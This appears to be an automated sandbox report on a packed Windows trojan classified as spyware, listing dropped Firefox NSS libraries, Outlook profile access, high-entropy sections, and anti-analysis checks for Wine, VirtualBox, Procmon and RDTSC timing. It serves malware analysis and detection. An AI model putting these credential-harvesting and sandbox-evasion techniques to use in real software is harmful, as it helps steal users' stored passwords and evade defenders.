Source: GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1886169578.0000000029632000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00759862	0_2_00759862
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BB9F1	0_2_007BB9F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085D2E3	0_2_0085D2E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00867389	0_2_00867389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00859CE0	0_2_00859CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00862409	0_2_00862409
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00866530	0_2_00866530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085ED53	0_2_0085ED53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00863E90	0_2_00863E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095AF7D	0_2_0095AF7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0073C785	0_2_0073C785

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004A45C0 appears 316 times

Source: file.exe, 00000000.00000002.1951944928.000000006F902000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1951817971.000000006C865000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: mnuuscvb ZLIB complexity 0.995020134066358

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004B9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_004B3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\TO0FRACP.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1951729822.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1951729822.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1951729822.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1951729822.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1951729822.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1951729822.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1785057746.000000001D494000.00000004.00000020.00020000.00000000.sdmp, AFBFHDBKJEGHJJJKFIIJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1951478415.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1815552 > 1048576

Source: file.exe

Static PE information: Raw size of mnuuscvb is bigger than: 0x100000 < 0x195000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1951905903.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1951729822.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1951729822.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1951905903.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mnuuscvb:EW;guuroihu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mnuuscvb:EW;guuroihu:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004B9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c0b76 should be: 0x1c4704

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mnuuscvb
Source: file.exe	Static PE information: section name: guuroihu
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D588F push 1208E8C1h; mov dword ptr [esp], ecx	0_2_008D58BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094809C push ecx; mov dword ptr [esp], esi	0_2_009480EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094809C push edi; mov dword ptr [esp], ecx	0_2_009480F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00759862 push 6FD61CA8h; mov dword ptr [esp], edi	0_2_007598D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00759862 push ecx; mov dword ptr [esp], ebx	0_2_00759940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00759862 push 7BCD93E4h; mov dword ptr [esp], ebp	0_2_0075997C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093F8B7 push edx; mov dword ptr [esp], 75FE865Ah	0_2_0093F8D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D90CA push eax; mov dword ptr [esp], ebx	0_2_008D9145
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009148ED push ebp; mov dword ptr [esp], ebx	0_2_009148F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F40F2 push eax; mov dword ptr [esp], esi	0_2_008F4114
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F40F2 push 21CC290Ch; mov dword ptr [esp], ebx	0_2_008F4136
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004BB035 push ecx; ret	0_2_004BB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093D014 push edi; mov dword ptr [esp], eax	0_2_0093D01E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E402C push 0F0C4B91h; mov dword ptr [esp], ecx	0_2_008E4034
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E402C push edi; mov dword ptr [esp], esp	0_2_008E405D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E402C push esi; mov dword ptr [esp], eax	0_2_008E40C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E402C push edx; mov dword ptr [esp], edi	0_2_008E40E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FB833 push 552840D8h; mov dword ptr [esp], ebx	0_2_008FB85C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D504E push edx; mov dword ptr [esp], ecx	0_2_008D50BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078F8B6 push eax; mov dword ptr [esp], edx	0_2_0078F8BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078F8B6 push ebx; mov dword ptr [esp], ebp	0_2_0078F8C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078F8B6 push eax; mov dword ptr [esp], ecx	0_2_0078F938
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078F8B6 push eax; mov dword ptr [esp], edx	0_2_0078F94D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086B876 push esi; mov dword ptr [esp], 7376DBD2h	0_2_0086B88A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086B876 push ebx; mov dword ptr [esp], esi	0_2_0086B8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086B876 push 43FB71B3h; mov dword ptr [esp], eax	0_2_0086B927
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D7075 push edi; mov dword ptr [esp], esi	0_2_008D71A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D7075 push ebx; mov dword ptr [esp], esp	0_2_008D71A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00903198 push 670BC7E1h; mov dword ptr [esp], edi	0_2_009031CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00903198 push 202E5AF3h; mov dword ptr [esp], ebp	0_2_00903257
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D5991 push 524F1E50h; mov dword ptr [esp], edx	0_2_008D5A35

Source: file.exe

Static PE information: section name: mnuuscvb entropy: 7.953824880215668

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_004B9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13599

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C4EC second address: 86C515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push edx 0x0000000a jmp 00007F7A98DDD9DEh 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7A98DDD9DCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C515 second address: 86C530 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7A9876E331h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C530 second address: 86C534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E5D1 second address: 86E5D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E5D8 second address: 86E62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 jg 00007F7A98DDD9D8h 0x0000000f pop ecx 0x00000010 nop 0x00000011 push 00000000h 0x00000013 add dword ptr [ebp+122D1F2Eh], esi 0x00000019 call 00007F7A98DDD9D9h 0x0000001e jmp 00007F7A98DDD9E6h 0x00000023 push eax 0x00000024 jp 00007F7A98DDD9E2h 0x0000002a mov eax, dword ptr [esp+04h] 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E62F second address: 86E63D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E32Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E713 second address: 86E717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E717 second address: 86E71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E780 second address: 86E79C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E79C second address: 86E81C instructions: 0x00000000 rdtsc 0x00000002 je 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F7A9876E328h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 call 00007F7A9876E339h 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 jmp 00007F7A9876E337h 0x00000035 popad 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 xor dword ptr [ebp+122D2846h], eax 0x0000003f mov esi, dword ptr [ebp+122D2AF9h] 0x00000045 push E4E6A9E2h 0x0000004a pushad 0x0000004b jo 00007F7A9876E32Ch 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E937 second address: 86E93E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E93E second address: 86E970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 10C04468h 0x0000000e sub dword ptr [ebp+122D1B7Ch], esi 0x00000014 push 00000003h 0x00000016 mov edi, esi 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D1A9Ah], ebx 0x00000020 push 00000003h 0x00000022 sub esi, dword ptr [ebp+122D1EB6h] 0x00000028 push 9D8E9456h 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 push edx 0x00000031 pop edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E970 second address: 86E974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
